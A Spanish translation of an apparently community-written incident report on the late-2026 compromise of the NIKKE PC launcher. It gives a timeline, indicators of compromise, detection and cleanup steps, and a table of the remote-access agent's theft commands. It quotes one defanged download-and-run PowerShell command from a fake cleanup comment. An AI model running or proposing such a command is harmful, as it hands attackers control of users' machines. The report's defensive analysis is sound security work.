Compromiso del launcher de NIKKE para PC (noviembre de 2026) (NIKKE PC launcher, Nov 2026)
Compromiso del launcher de NIKKE para PC (noviembre de 2026)
Este documento es la traducción al español del original en inglés nikke-pc-launcher-compromise.md. Se tradujo a partir de la versión del 2026-11-05 14:39 GMT. Si los dos documentos difieren, sigue el original en inglés. 🇬🇧 English · 🇯🇵 日本語 · 🇰🇷 한국어 · 🇨🇳 简体中文 · 🇹🇼 繁體中文 · 🇹🇭 ไทย · 🇻🇳 Tiếng Việt · 🇮🇩 Bahasa Indonesia · 🇫🇷 Français · 🇩🇪 Deutsch · 🇪🇸 Español · 🇧🇷 Português (Brasil) · 🇷🇺 Русский · 🇵🇱 Polski · 🇹🇷 Türkçe · 🇮🇹 Italiano
Caution
Desde el 2026-09-27, cuatro archivos JavaScript oficiales de la CDN de Level Infinite contenían código del atacante. El launcher de NIKKE para PC carga estos archivos. Como muy tarde desde el 23 de octubre, abrir el launcher podía instalar un agente de control remoto: mientras el launcher estaba abierto, el atacante podía ejecutar cualquier comando en tu equipo, leer cualquier archivo y hacer capturas de pantalla.
Actualización, 2026-11-05 14:39 GMT: Según Level Infinite, desde el 4 de noviembre a las 23:00 GMT (08:00 UTC+9 del 5 de noviembre) el cliente oficial para PC busca este malware al iniciarse y, si aceptas, elimina los registros, los archivos DLL y las entradas del Registro relacionados. En una instalación limpia, el launcher actualizado también eliminó Launcher\intl_service\debug.log sin preguntar (reportado). Las dos cosas pueden eliminar archivos que muestran si el agente se ejecutó. Antes de volver a abrir el launcher o iniciar el juego, ejecuta NIKKE Launcher Check y guarda su informe, o copia Launcher\intl_service\debug.log, la carpeta Launcher\log\ y %APPDATA%\nikke_launcher\tbs_cache (nikke_launcher_hmt o nikke_launcher_google en las otras versiones). El aviso de seguimiento y las instrucciones de comprobación manual de Level Infinite se resumen en . insightjs.com está suspendido por su registrador desde el 5 de noviembre a las 02:05 GMT, y ya no resolvía cuando se comprobó a las 09:09 GMT. Mantén bloqueados de todos modos los dominios y las IP que aparecen en : una suspensión se puede levantar.
Actualización, 2026-11-04 12:11 GMT: Level Infinite confirmó una corrección el 4 de noviembre en un comunicado en X (consulta el ). Tres de los archivos se sustituyeron el 3 de noviembre entre las 17:04 y las 17:23 GMT. El cuarto, FeedList.feb647c9.js, se limpió en el origen el 28 de octubre, pero algunos servidores de la CDN conservaron la copia modificada hasta el 4 de noviembre entre las 03:12 y las 03:21 GMT. El 4 de noviembre a las 11:20 GMT los cuatro archivos estaban limpios en los cuatro servidores de la CDN comprobados. El servidor del atacante dejó de responder a las 18:31 GMT del 3 de noviembre. Nada de esto deshace lo que ya ocurrió en los equipos infectados. Antes de volver a abrir el launcher, elimina su carpeta de caché %APPDATA%\nikke_launcher\tbs_cache (nikke_launcher_hmt en el launcher HMT, nikke_launcher_google en la versión de Google Play Games; dentro de tu prefijo en Proton), porque todavía puede contener los archivos modificados y el launcher volvería a cargarlos. Mantén bloqueados los dominios y las IP que aparecen en : todavía no se sabe cómo obtuvo el atacante acceso de escritura a la CDN.
Tip
Comprueba tu PC con NIKKE Launcher Check. Este programa busca los rastros del ataque en Windows, Linux o macOS. Te dice si el agente llegó a tu PC y después indica qué hacer en el idioma de tu sistema. Solo lee archivos. Nada sale de tu PC. Ejecútalo antes de eliminar tbs_cache y antes de volver a abrir el launcher o iniciar el juego: la caché contiene parte de los rastros, y el launcher actualizado puede eliminar otros (consulta ).
Para compartir registros, un error o un dato nuevo, abre una incidencia en el repositorio. El autor de este informe las atiende allí. Es la forma más sencilla de llevar el control de los avisos. Antes, quita los tokens y las cookies de los registros del launcher (consulta ).
Este informe se basa en un equipo infectado y en los hallazgos que otras víctimas publicaron en los comentarios. La carga útil se analizó de forma estática y nunca se ejecutó. Todo lo que sigue se comprobó con los archivos descargados, los registros y las cachés del launcher, la carga útil descompilada y los servidores activos. Los datos de los comentarios que no se pudieron comprobar aquí se marcan como reportados.
Última actualización: 2026-11-05, 14:39 GMT. Novedades de esta actualización: el aviso de seguimiento y las instrucciones de comprobación manual de Level Infinite, comparados con las pruebas de este informe; según Level Infinite, el cliente oficial para PC busca el malware al iniciarse desde el 4 de noviembre a las 23:00 GMT, y esta comprobación puede borrar pruebas; el launcher actualizado eliminó debug.log en una instalación limpia (abominablemrtetanus); insightjs.com, suspendido por su registrador el 5 de noviembre a las 02:05 GMT; el respaldo con .org también está en los aegis-fix.min.js e images.7fec4c32.js modificados; un comando de limpieza falso publicado en los comentarios; lo que muestra el diario de cambios de NTFS (Iwassoobsessedwith). Antes, el 4 de noviembre a las 23:18 GMT: browserscan solo toma cookies de los navegadores Chromium y muy probablemente omite Opera GX; la versión de Google Play Games también se vio afectada (incidencia #11 de nikke-check, Diamond-Dragon, zbeosf); inicios que registran startup failed: EIO: invalid UTF-8 in string (incidencias #16 y #21 de nikke-check); las entradas del cargador en Code Cache no contienen ningún script, y la caché HTTP está codificada con gzip (Iwassoobsessedwith); el front-end del launcher del 4 de noviembre y el estado del DNS el 4 de noviembre a las 22:59 GMT; el hash del aegis-fix.min.js modificado y las URL de sg-gpts (cliff101); los nombres de detección de Malwarebytes (DylanChusday); nikke_launcher.exe en SRUM (Zavodskyja); un tercer reporte de la compilación 6ae78037 (ImDanny39); el agente no tiene código para tareas programadas, claves Run ni servicios. Antes, el 4 de noviembre a las 12:11 GMT: el comunicado de Level Infinite en X (4 de noviembre, 03:13 GMT) y un consejo nuevo: borra la caché del launcher antes de volver a abrirlo; los cuatro archivos de la CDN, limpios en todos los servidores comprobados a las 11:20 GMT, después de que los últimos servidores recibieran el FeedList.feb647c9.js limpio entre las 03:12 y las 03:21 GMT, y un análisis de urlscan.io que todavía recibió la copia modificada a las 00:48 GMT (tatsu-t); las horas de sustitución de cada host; los tamaños de los archivos limpios, corregidos en un byte, y sus valores SHA-256; el dominio lo usó un propietario anterior de 2017 a 2022, y su nuevo servidor respondió el 27 de septiembre a las 04:08 GMT (tatsu-t); dos ETag más de la carga útil (Kallontz, v3s9er) y la compilación del 23 de octubre, de 165 108 bytes, que quedó en el disco como k2f.lua (zbeosf); los nombres de los archivos temporales y el ajuste de sondeo de la compilación del 23 de octubre (zbeosf); cuántos archivos k2f-bcreds deja una ejecución (Lirikana); cómo distinguir una descarga fallida de la carga útil de una descarga completa (AdamCKW); qué quitar antes de publicar registros del launcher (SoloAnnonAnnon); la entrada del agente puede estar en una tabla .ldb comprimida; qué significa sts_observed de HSTS (neutralnikke); el manifiesto del launcher pide permisos de administrador (supermagicianck); la copia del CLSID en HKLM puede faltar en instalaciones recortadas (lttchan); no todos los PC infectados muestran en SRUM un salto debido a la primera recopilación; un POST de telemetría del launcher que menciona analytics.insightjs.com; las primeras consultas del cargador reportadas, del 30 de septiembre (TijuanaFlow, AdamCKW); no se conoce ningún launcher de otro juego que haya ejecutado el cargador (Iwassoobsessedwith). Antes, a las 02:00 GMT: un registro de consultas DNS puede no incluir las consultas del agente cuando el PC usa también un segundo servidor DNS (luminesce01); una consulta de insightjs.com el 5 de octubre a las 07:09 GMT (luminesce01); una compilación más antigua que todavía se servía el 1 de noviembre a las 18:03 (axm2). Antes, a las 01:10 GMT: una quinta compilación de la carga útil, del 3 de noviembre a las 12:31:04 (vvs); el primer inicio del agente reportado pasa a ser el del 23 de octubre a las 16:40 GMT (zbeosf). Antes, a las 00:45 GMT, corregido: creds descifra el inicio de sesión de NIKKE que guardó el launcher, no el Administrador de credenciales de Windows (keyscan lee el Administrador de credenciales, solo las entradas de herramientas de desarrollo); wallet_files solo lee los perfiles de Chrome; se añadió la traducción al coreano. Antes, a las 00:30 GMT: 1984 ehf comunicó a quien le envió una denuncia de abuso que había apagado 89.127.233.127 (seth12619); cómo medir con SRUM lo que se envió (rnikontas, asyadayo); qué hace el agente por sí solo y qué decide el servidor. Antes, a las 22:40 GMT: la DLL de Chrome se puede instalar sin Chrome (comprobado en el código); una segunda IP del atacante, 89.126.250.172, usada hasta alrededor del 21 de octubre (D-Maledicte); una cuarta compilación de la carga útil, del 2 de noviembre a las 17:48:47 (malevolenttortoise, Iwassoobsessedwith); todo el tráfico del agente pasa por el navegador integrado del launcher; startup already in progress no es una señal fiable ni en un sentido ni en otro. Antes, a las 20:40 GMT: un cuarto archivo modificado, vue-bucket.min.js (mikansubre); inicios del agente desde el 24 de octubre, no desde el 1 de noviembre (malevolenttortoise, CuauhtliHC); al menos tres compilaciones de la carga útil (neutralnikke, confirmado aquí); qué hace la DLL de Chrome y por qué hay que eliminarla después de reiniciar (cheejordan). Antes, ese mismo día: un tercer archivo modificado, FeedList.feb647c9.js (encontrado por RichyRich515 y Enerccio en los comentarios, confirmado aquí); la carga útil ya se servía antes del 2-3 de noviembre; el launcher añade líneas al final de debug.log y no lo sobrescribe en cada inicio; collect_cookies: false no significa que las cookies estuvieran a salvo. Correcciones anteriores: la carpeta PlatformExperienceHelper en sí es una carpeta normal de Chrome (solo es maliciosa una subcarpeta de 64 caracteres hexadecimales que contiene la DLL), y onominan.tmp no es un indicador del malware.
Contenido
Resumen
| Punto de entrada | Cuatro archivos oficiales de la CDN de Level Infinite (playerinfinite.com, Tencent COS), modificados el 2026-09-27 |
| Estado | Level Infinite confirmó una corrección en X (@NIKKE_en, 4 de noviembre, 03:13:58 GMT). El comunicado dice que un tercero pudo haber manipulado los archivos de script del launcher para PC, y que las correcciones del cliente y una actualización se publicaron hacia las 02:30 UTC+9 del 4 de noviembre (17:30 GMT del 3 de noviembre). Decía que se estaba investigando el impacto y que las medidas posteriores llegarían en un aviso aparte. El comunicado no nombraba ningún archivo, no describía la carga útil y no indicaba ningún paso a los usuarios. aegis-fix.min.js, vue-bucket.min.js e images.7fec4c32.js se sustituyeron el 3 de noviembre entre las 17:04 y las 17:23 GMT. FeedList.feb647c9.js está limpio en el origen desde el 28 de octubre; los últimos servidores de la CDN que tenían la copia modificada recibieron la limpia el 4 de noviembre entre las 03:12 y las 03:21 GMT. Los cuatro archivos estaban limpios en los cuatro servidores de la CDN comprobados el 4 de noviembre a las 11:20 GMT. Desde el 4 de noviembre el launcher carga un front-end reconstruido (nikke.c2f24fe0.js, images.64d80e3e.js, video-js.c239e58d.js, aegis-fix.min.js?t=20261104, vue-bucket.min.js?v=20261104, comprobado en una instalación nueva). FeedList.feb647c9.js conservó su URL. El 4 de noviembre a las 23:08 GMT, Level Infinite publicó un aviso de seguimiento con su propia cronología, y a las 23:11 GMT unas instrucciones de comprobación manual aparte (horas reportadas por Iwassoobsessedwith). Según el aviso, el cliente oficial para PC busca el malware al iniciarse desde las 23:00 GMT (consulta ) |
| Sin resolver | Cómo obtuvo el atacante acceso de escritura a la CDN; archivos antiguos en las cachés del launcher (FeedList.feb647c9.js conservó su URL en el front-end del 4 de noviembre, lo que es uno de los motivos para seguir eliminando tbs_cache); el aviso de Level Infinite dice que un tercero tomó el control de insightjs.com, pero no explica cómo se cambiaron archivos de la CDN de Level Infinite, y el inicio de la distribución que da el aviso (18:52 GMT del 29 de octubre) es seis días posterior al primer inicio del agente reportado en los comentarios (16:40 GMT del 23 de octubre); insightjs.com está suspendido por su registrador desde el 5 de noviembre a las 02:05 GMT, y una suspensión se puede levantar |
| Quién está en riesgo | Cualquiera que abriera el launcher de NIKKE para PC desde el 23 de octubre (como muy tarde) hasta la corrección, en Windows o en Linux / Steam Deck con Proton, y cualquiera cuyo launcher siga usando los archivos modificados desde su caché o desde un servidor de la CDN desactualizado. La versión de Google Play Games también se vio afectada. Se instala en C:\NIKKE_GOOGLE, ejecuta Launcher\nikke_launcher_google.exe y guarda sus datos en %APPDATA%\nikke_launcher_google (incidencia #11 de nikke-check, Diamond-Dragon y zbeosf en los comentarios, reportado). Level Infinite pide a todos los que abrieron el launcher para PC con Windows al menos una vez desde el 27 de septiembre a las 15:41 UTC+9 (06:41 GMT) que comprueben su PC, y dice que el juego para móviles no se vio afectado |
| Carga útil activa desde | Como muy tarde el 23 de octubre de 2026, y solo en algunos inicios (un equipo la recibió en 3 de unos 19 inicios). El primer inicio del agente reportado en los comentarios es del 23 de octubre a las 16:40 GMT (zbeosf), aproximadamente una hora después del certificado del 23 de octubre a las 15:37. El cargador está presente desde el 27 de septiembre. El aviso de Level Infinite da el 30 de octubre a las 03:52 UTC+9 (18:52 GMT del 29 de octubre) como inicio de la distribución, pero ya se habían iniciado agentes el 23 y el 24 de octubre (reportado en los comentarios). En un PC, el diario de cambios de NTFS muestra más de 20 inicios del 15 de octubre al 2 de noviembre sin descarga de la carga útil, y después dos descargas, el 2 de noviembre a las 23:36 y el 3 de noviembre a las 10:58 GMT (Iwassoobsessedwith, reportado). Eso encaja con una carga útil que solo se sirve en algunos inicios, y no cambia el primer inicio reportado, el 23 de octubre |
| Qué es | Un agente de control remoto: ejecución de comandos, acceso a archivos, capturas de pantalla, robo de contraseñas, cookies del navegador, tokens, claves SSH y monederos de criptomonedas |
| Persistencia | En Windows, una DLL registrada en el Registro del usuario para que Chrome la cargue, que sigue en ejecución después de cerrar el launcher. Instalarla no requiere Chrome. Lee las contraseñas escritas en páginas web y las frases de recuperación de los monederos (reportado). El agente no tiene código para tareas programadas, claves Run, servicios, WMI ni la carpeta Inicio, así que cualquier cosa que haya ahí tendría que venir de exec |
La lista de "todos los juegos de Tencent hackeados" que circula viene de una sola publicación anónima en 4chan sin ninguna prueba, y no se conoce ningún otro launcher que haya ejecutado el cargador (Iwassoobsessedwith). Los mismos hosts de la CDN sirven otros sitios web de Level Infinite, así que el atacante podría haber llegado a ellas, pero no hay pruebas de que lo hiciera.
Avisos de Level Infinite del 4 de noviembre
El 4 de noviembre, Level Infinite publicó una imagen de disculpa en X a las 23:01 GMT, un aviso de seguimiento a las 23:08 GMT y unas instrucciones de comprobación manual a las 23:11 GMT (la disculpa y las tres horas las reportó Iwassoobsessedwith; los textos de los dos avisos se comprobaron aquí). En nikke-en.com los dos avisos tienen fecha 2026.11.05, la fecha en UTC+9.
El aviso de seguimiento da esta cronología en UTC+9, con la hora GMT añadida aquí:
| UTC+9 (GMT) | Aviso de Level Infinite | Pruebas de este informe |
|---|---|---|
| 27 de septiembre, 10:59 (01:59) | Un tercero tomó el control de insightjs.com, que el aviso describe como un dominio de código abierto usado por algunos servicios de juegos | El dominio se volvió a registrar a las 01:59:19 GMT después de haber caducado (consulta ) |
| 27 de septiembre, 15:41 (06:41) | Los archivos de script del launcher se manipularon en parte a través de ese dominio | Los cuatro archivos modificados de la CDN de Level Infinite tienen horas de Last-Modified entre las 06:41:40 y las 06:42:03 GMT. El aviso no explica cómo una toma de control del dominio cambió archivos guardados en la CDN de Level Infinite |
| 30 de octubre, 03:52 (29 de octubre, 18:52) | Empieza la distribución del programa malicioso | Antes: un inicio del agente el 23 de octubre a las 16:40 GMT y la compilación del 23 de octubre que quedó como k2f.lua (zbeosf), inicios del agente el 24 de octubre con la carga útil guardada como k2f.lua, y registros de k2f.agent.state con los ajustes de sondeo del servidor del 23 y del 24 de octubre (todo reportado) |
| 4 de noviembre, hacia las 00:00 (3 de noviembre, hacia las 15:00) | Se detectan anomalías y empieza la investigación | Primera advertencia pública en el Discord de la comunidad de NIKKE a las 16:11 GMT |
| 4 de noviembre, 02:04-02:23 (3 de noviembre, 17:04-17:23) | Se sustituyen tres archivos | Coincide con las horas de Last-Modified de los archivos limpios |
| 4 de noviembre, 12:09 (03:09) | Se actualiza la caché de la CDN para el archivo modificado restante | Los cuatro servidores de la CDN comprobados recibieron el FeedList.feb647c9.js limpio entre las 03:12 y las 03:21 GMT |
Según el aviso, desde el 5 de noviembre a las 08:00 UTC+9 (23:00 GMT del 4 de noviembre) el cliente oficial para PC busca el malware al iniciarse. El aviso dice que cierres todos los navegadores, Chrome incluido, antes de iniciar el cliente oficial para PC. Si la comprobación encuentra el malware, una ventana emergente pregunta antes de eliminar los registros, los archivos DLL y las entradas del Registro relacionados. El aviso pide a los jugadores afectados que comuniquen sus pérdidas al servicio de atención al cliente, pero la eliminación también borra pruebas que pueden necesitar para hacerlo. Un jugador pasó una instalación limpia a un portátil más antiguo y dejó que el launcher actualizado se ejecutara en él: el launcher eliminó Launcher\intl_service\debug.log sin ninguna ventana emergente, dejó de escribir en ese archivo y escribió archivos de registro nuevos que parecen cifrados (abominablemrtetanus, incidencia #25 de nikke-check, reportado). Así que antes de volver a abrir el launcher o iniciar el juego, incluso en un PC que parece limpio, guarda un informe de nikke-check o copia Launcher\intl_service\debug.log, la carpeta Launcher\log\ y tbs_cache (en %APPDATA%\nikke_launcher, nikke_launcher_hmt o nikke_launcher_google). Después de la actualización, que falte debug.log no demuestra nada, y un resultado "No se encontraron rastros" de nikke-check es una prueba más débil.
El aviso también dice que los archivos DLL que quedaron porque un navegador seguía abierto ya no pueden ejecutarse. En la compilación analizada, chrome_install escribe la DLL y el valor InprocServer32 del CLSID de HKCU que hace que Chrome la cargue, y no prepara ninguna otra forma de cargarla (comprobado en el código). Una vez eliminada esa clave, nada de lo que instaló esa compilación hace que Chrome vuelva a cargar el archivo. Un proceso de Chrome que la cargó antes puede mantenerla cargada después de cerrar su última ventana (consulta ), así que reinicia Windows y después elimina la subcarpeta de 64 caracteres hexadecimales.
Las instrucciones de comprobación manual dan estos pasos, la mayoría también en y : cierra el juego, el launcher y Chrome, y desconéctate de la red; busca k2f_chan registered en debug.log; elimina la clave CLSID de HKCU, reinicia y después elimina solo la subcarpeta de 64 caracteres hexadecimales que contiene platform_experience_helper.dll; elimina de Launcher\log\tinyget un archivo tinyget.-.log de 205 135 bytes; elimina %APPDATA%\nikke_launcher\tbs_cache; cambia las contraseñas y sustituye las claves de API y los tokens, desde otro dispositivo o después de la comprobación; ejecuta un análisis antivirus completo y Microsoft Defender Offline. Según las instrucciones, un registro sin k2f_chan registered no descarta del todo un riesgo, y el incidente se limitó al launcher para PC y no afectó al juego para móviles. No mencionan %APPDATA%\nikke_launcher_hmt ni %APPDATA%\nikke_launcher_google (su ejemplo de debug.log sí incluye C:\NIKKE_GOOGLE), y su regla de los 205 135 bytes no detecta la compilación del 23 de octubre (k2f.lua, 165 108 bytes, reportado por zbeosf).
El aviso dice que Level Infinite está revisando la seguridad de su red, incluida la CDN, para averiguar cómo se cambiaron los archivos del launcher. Las medidas que prevé Level Infinite son una revisión de las prácticas de seguridad del launcher para PC y de sus datos, una supervisión que detecte pronto los cambios no autorizados en los archivos, comprobaciones de integridad de los recursos externos que carga el launcher y una revisión de los permisos de cada función del launcher.
Comprobar si estás infectado
NIKKE Launcher Check hace por ti la mayoría de estas comprobaciones. Los pasos siguientes son la forma manual.
- Abre la carpeta de instalación de NIKKE.
- Abre
Launcher/intl_service/debug.logen un editor de texto. - Busca
k2f_chan.
Si lo encuentras, el agente se ejecutó en tu equipo, aunque falte la línea adopted o resuming que va después (esa línea la escribe l.js cuando el servidor responde). Un registro infectado tiene este aspecto:
"lua downloaded to log\tinyget\tinyget..log" (log\tinyget\k2f.lua on early runs)
"k2f_chan registered"
"adopted "
"agent started as "
Un inicio también puede registrar startup failed: EIO: invalid UTF-8 in string justo después de k2f_chan registered, sin ninguna línea adopted, resuming ni agent started as (incidencias #16 y #21 de nikke-check, reportado). La causa está en el código del agente (comprobado): sysinfo lee el nombre de usuario de Windows con os.getenv("USERNAME"), que devuelve un nombre no ASCII en la página de códigos ANSI. El codificador JSON lo rechaza, y el controlador de k2f_chan devuelve el error como EIO. adopted llega cuando el servidor responde, así que ese inicio muy probablemente se detuvo antes de que el agente recibiera un ID. El l.js que hizo esto nunca se capturó, así que no se sabe qué hizo después. k2f_chan sigue significando que el agente se descargó y se ejecutó, y se aplican los pasos de .
Launcher/log/tinyget/tinyget.*.log también registra la descarga de https://analytics.insightjs.com/comm/assets/insight.bundle. La línea AddTask de insight.bundle es solo la solicitud. La descarga terminó solo si una línea posterior de la misma tarea muestra curl perform success y OnDownloadResult ... result=0 ... total=205135 (u otro total distinto de cero). Una solicitud que registra curl_error, result=2 y total=0 falló, y el agente no llegó por esa vía (AdamCKW, comprobado con los registros analizados aquí). nikke-check 0.4.0 y las versiones anteriores contaban esos intentos fallidos como descargas; 0.4.1 lo corrige. Algunos inicios infectados también registran startup already in progress justo antes de la descarga, pero otros no, así que busca k2f_chan registered.
Si el archivo de la carga útil ya no está, el diario de cambios de NTFS todavía puede mostrarlo. El launcher escribe la descarga como tinyget..log.cdt, le cambia el nombre a .log en el mismo segundo, y el agente elimina el archivo unos 4 segundos después de iniciarse. El diario conserva las entradas de creación y eliminación, y también las de las copias %TEMP%\k2f-bcreds-*.db. Para listar las entradas sin cambiar nada, ejecuta fsutil usn readjournal D: csv como administrador, cambiando D: por la letra de la unidad donde está NIKKE, y después vuelve a ejecutarlo con C: para %TEMP%. El diario tiene un tamaño fijo y descarta sus entradas más antiguas cuando se llena: en un PC, el diario de C: solo se remontaba a tres días atrás. Comprueba la fecha de su entrada más antigua antes de interpretar un resultado vacío como que no llegó ninguna carga útil (Iwassoobsessedwith, reportado).
Hay una señal secundaria en tinyget.mem.log: un POST a na.fleetlogd.com (la telemetría propia del launcher) con Referer: https://analytics.insightjs.com/. En el equipo analizado se envió 0,41 s después de terminar la descarga de insight.bundle, justo antes de k2f_chan registered.
Antes de publicar registros del launcher, quita las líneas Cookie y los valores de login_ticket, biz_ticket, uid, openid y sig. Están en tinyget.mem.log y en las líneas de solicitudes a la API del launcher de los registros tinyget con fecha. Las líneas de insight.bundle no contienen ninguno de ellos, pero su campo path= puede mostrar tu nombre de usuario de Windows (SoloAnnonAnnon, comprobado).
Dos comprobaciones rápidas fuera de debug.log: las entradas del cargador en %APPDATA%\nikke_launcher\tbs_cache\Code Cache\js\ (o en la misma carpeta dentro de nikke_launcher_hmt o nikke_launcher_google) tienen los mismos nombres de archivo en todos los equipos (dd65fa4d61079e7e_0 aegis, ce2fd3f1007a9fe9_0 images, 1416c638b3830103_0 feedlist, fd520c7c0f65c2d7_0 vue). Estas entradas no contienen ningún script, solo la clave, una marca de tiempo y un marcador corto (unos 200 bytes en el equipo analizado), y la marca de tiempo indica cuándo se ejecutó ese cargador por última vez. En los registros de consultas DNS o del router, una consulta de insightjs.com significa que el cargador se ejecutó, mientras que una consulta de analytics.insightjs.com significa muy probablemente que se llegó a la etapa del agente. Un registro de consultas DNS solo ve las consultas que se le envían: en un PC infectado que también usaba un servidor DNS IPv6 proporcionado por el router, el registro de Pi-hole no tenía ninguna consulta de analytics.insightjs.com (reportado), así que un registro sin ella no descarta el agente.
El launcher añade líneas al final de debug.log: en el equipo analizado, el registro contenía los 9 inicios del 29 de octubre al 3 de noviembre. El archivo desaparece si se eliminó o se reinstaló la carpeta de NIKKE, y en una instalación limpia el launcher actualizado lo eliminó después de la actualización (abominablemrtetanus, incidencia #25 de nikke-check, reportado). Las líneas FETCH_LIST suc success vienen del módulo FeedList normal y aparecen también en inicios limpios, así que no son una señal.
El agente también guarda su estado en el Local Storage del launcher, fuera de la carpeta de NIKKE: busca k2f.agent en los archivos de %APPDATA%\nikke_launcher\tbs_cache\Local Storage\leveldb\ (y de la misma carpeta dentro de nikke_launcher_hmt y nikke_launcher_google). Una búsqueda de texto simple puede no encontrar la entrada cuando LevelDB la pasa a una tabla .ldb comprimida, así que un resultado cuenta como prueba, pero no encontrar nada es una prueba más débil. nikke-check 0.4.1 lee esas tablas. En Windows, comprueba también los archivos de persistencia que aparecen en .
Si tbs_cache\TransportSecurity incluye un host de insightjs.com, su hora sts_observed es la última vez que el navegador del launcher recibió y guardó un encabezado HSTS de ese host, no la primera conexión. Para analytics.insightjs.com suele ser el último contacto del agente con el servidor. La hora del dominio raíz puede quedarse atrás: en el equipo analizado se quedó en el inicio del 2 de noviembre aunque el cargador volvió a ejecutarse el 3 de noviembre. La descarga de insight.bundle con libcurl no escribe en este archivo (neutralnikke, comprobado con las pruebas analizadas aquí).
Qué hacer
Para todos
- Level Infinite confirmó una corrección el 4 de noviembre (el comunicado está en el ). Antes de volver a abrir el launcher, elimina su carpeta de caché
%APPDATA%\nikke_launcher\tbs_cache(%APPDATA%\nikke_launcher_hmt\tbs_cacheen el launcher HMT,%APPDATA%\nikke_launcher_google\tbs_cacheen la versión de Google Play Games; dentro de tu prefijo en Proton), porque todavía puede contener los archivos modificados y el launcher volvería a cargarlos. Haz antes las comprobaciones de , o copia la carpeta a un lugar seguro: contiene los rastros dek2f.agent.statey de HSTS que muestran si el agente se ejecutó. Malwarebytes detecta ahora dos de los rastros detbs_cachecomoTrojan.Loader.K2F(la entrada del cargador en Code Cache) yTrojan.Trace.K2F(el archivo de Local Storage conk2f.agent.state) (DylanChusday, reportado). Eliminarlos borra pruebas y no deshace nada, así que haz antes las comprobaciones o copiatbs_cache. Según Level Infinite, desde el 4 de noviembre a las 23:00 GMT el cliente oficial para PC busca el malware al iniciarse y, si aceptas, elimina los registros, los archivos DLL y las entradas del Registro relacionados. En una instalación limpia, el launcher actualizado también eliminódebug.logsin preguntar (reportado). Así que antes de volver a abrir el launcher o iniciar el juego, haz las comprobaciones o copiaLauncher\intl_service\debug.log, la carpetaLauncher\log\ytbs_cache. - Mantén bloqueados estos elementos en tu archivo hosts, tu router o tu firewall:
insightjs.com analytics.insightjs.com insightjs.org 89.127.233.127 89.126.250.172insightjs.comestá suspendido por su registrador desde el 5 de noviembre a las 02:05 GMT y ya no resuelve, pero una suspensión se puede levantar, y los bloqueos de IP no dependen del DNS. El bloqueo solo detiene los dominios y las direcciones conocidos. Todavía no se sabe cómo obtuvo el atacante acceso de escritura a la CDN de Level Infinite, así que podría volver a intentarlo con un dominio nuevo. - No ejecutes comandos ni programas de corrección que otras personas publiquen en los comentarios. El 5 de noviembre, un comentario en este gist, de una cuenta que GitHub ya no muestra, decía a los lectores que pegaran un comando de PowerShell en un terminal de administrador:
iex (irm kernelscv[.]cfd?t=nikke)(los corchetes se añadieron aquí para que no se ejecute tal cual). Ese comando descarga un script dekernelscv[.]cfd, un dominio registrado el 23 de octubre de 2026 que no aparece en los archivos ni en la infraestructura de este ataque, y lo ejecuta con permisos de administrador. Los indicadores que mencionaba ese comentario (45.153.*:4444,nikke_bootstrap.dll,NikkeUpdate,NIKKE_Helper) no forman parte de este ataque. Si lo ejecutaste, considera el PC comprometido por ese script y reinstala Windows. Ninguna corrección real de este incidente te pide ejecutariex (irm ...).
Si estás infectado
- Cierra el launcher o desconéctate de internet para que el atacante pierda el acceso.
- En Windows, elimina la persistencia:
- Primero elimina
HKCU\Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}si existe. El mismo CLSID existe en HKLM en la mayoría de las instalaciones de Windows y en los prefijos de Wine, y apunta awpc.dll(WindowsParentalControls); puede faltar en instalaciones recortadas. No lo toques. Solo es maliciosa la copia de HKCU. - Reinicia Windows. La DLL sigue bloqueada mientras está cargada, incluso con todas las ventanas de Chrome cerradas (reportado).
- Si la clave existe con un valor predeterminado vacío, elimínala de todos modos: es lo que deja el propio
chrome_uninstalldel agente. - Después abre
%LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper\y elimina cualquier subcarpeta cuyo nombre sea una cadena hexadecimal de 64 caracteres y que contengaplatform_experience_helper.dll. No elimines la carpeta entera: Chrome creaPlatformExperienceHelperpor su cuenta para su propioplatform_experience_helper.exey un archivoLoadFeaturesvacío, así que la carpeta en sí es normal. - Microsoft Defender Offline no detectó la DLL en un equipo (firmas 1.463.110.0), así que un análisis antivirus sin resultados no significa que haya desaparecido.
- Reinstalar Windows es la opción más segura, porque el atacante podía ejecutar cualquier comando mientras el agente estaba activo.
- Primero elimina
- Desde un dispositivo limpio, cambia tus contraseñas: primero NIKKE / Level Infinite, después el correo electrónico, Discord, el banco y todas las contraseñas guardadas en un navegador. Activa la verificación en dos pasos.
- Cierra todas las sesiones (Discord, Google, Steam, GitHub y otras). El agente puede robar cookies del navegador, que funcionan sin tu contraseña.
- Revoca y vuelve a generar los tokens de API, las claves SSH y cualquier credencial de desarrollo (GitHub, npm, AWS, OpenAI, Anthropic y otras).
- Pasa los fondos de tus monederos de criptomonedas a un monedero nuevo con una frase semilla nueva.
Qué puede hacer el atacante en un equipo infectado
El agente es una herramienta de acceso remoto controlada por el operador. No se limita a ejecutar una rutina fija de robo. Mientras el launcher está abierto, el operador puede enviar estos comandos:
| Comando | Efecto |
|---|---|
exec | Ejecuta cualquier programa o comando del shell y devuelve la salida |
ls, cd, cat, download, file_chunk | Recorre carpetas y descarga cualquier archivo |
screens | Captura de pantalla de cada monitor |
creds | Descifra la cuenta y la contraseña de NIKKE que el launcher guardó en psd.dat y last_user.dat (%APPDATA%\nikke_launcher, %APPDATA%\nikke_launcher_hmt). No lee %APPDATA%\nikke_launcher_google, pero cat y download pueden copiar last_user.dat de cualquiera de las tres carpetas |
browserscan | Contraseñas guardadas de Chrome, Edge, Brave, Vivaldi, Opera y Firefox. Cookies, salvo que collect_cookies sea false, solo de los navegadores Chromium: de Firefox solo toma logins.json y key4.db. Su carpeta de Opera es solo %APPDATA%\Opera Software\Opera Stable, así que muy probablemente omite Opera GX. No tiene ningún lector para extensiones de gestores de contraseñas. cat y download pueden copiar igualmente las cookies de Firefox, un perfil de Opera GX o los datos de la extensión de un gestor de contraseñas |
chrome_scan | Enumera las instalaciones de Chrome, los perfiles y los ID de extensiones |
keyscan | Lee 264 rutas conocidas de archivos de credenciales y de configuración y busca secretos en ellas. También lee las entradas del Administrador de credenciales de Windows de herramientas de desarrollo (git:, gh:, npm:, docker:, aws:, azure:, vscode: y otras) |
wallet_files | Datos de 28 extensiones de monederos de criptomonedas, solo en los perfiles de Chrome (los monederos de otros navegadores se pueden copiar igualmente con download) |
whoami, sysinfo, host_facts | Nombre del equipo, usuario, nivel de privilegios, compilación de Windows, CPU, RAM, unidades, adaptadores de red |
